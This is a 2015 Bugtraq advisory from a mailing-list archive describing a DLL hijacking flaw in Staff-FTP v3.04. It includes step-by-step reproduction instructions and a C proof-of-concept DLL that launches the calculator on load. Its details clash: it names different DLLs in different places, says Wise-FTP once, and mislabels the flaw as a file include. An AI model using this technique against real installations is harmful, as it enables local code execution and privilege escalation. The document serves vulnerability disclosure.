bugtraq - Staff FTP v3.04 Software - DLL Hijacking Vulnerability

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: Tue, 19 May 2015 11:28:55 GMT
From: metacom27@...il.com
To: bugtraq@...urityfocus.com
Subject: Staff FTP v3.04 Software - DLL Hijacking Vulnerability

A local dll injection vulnerability has been discovered in the official Staff-FTP v3.04 software.
The issue allows local attackers to inject code to vulnerable libraries to compromise the process or to gain higher access privileges.

The windows software is vulnerable to dll hijacking attacks. The vulnerability is located in the netapi32.dll and dwmapi.dll file extensions.  
The software does not specify the fully qualified path to a dynamic-linked libraries (netapi32.dll and dwmapi.dll). The vulnerable version affects 
the Wise-FTP v3.04 software. The security risk of the local file include vulnerability is estimated as high with a cvss (common vulnerability 
scoring system) count of 6.0. 

Vulnerable Software:
[+] Staff-FTP

Vulnerable Version(s):
[+] v3.04

Vulnerable Libraries:
[+] netapi32.dll
[+] dwmapi.dll

Proof of Concept (PoC):
=======================
The dll hijack vulnerability can be exploited by local attackers with restricted system user account and without user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

Manual steps to reproduce the local vulnerability ...
1. Compile dll and rename to Linkinfo.dll or mpr.dll
2. Copy Linkinfo.dll to C:\Program Files\Staff-FTP
3. Launch Staff-FTP

PoC: Exploit 
#include <windows.h>

int alpdaemon()
{
  WinExec("calc", SW_SHOW);
  exit(0);
  return 0;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
  alpdaemon();
  return 0;
}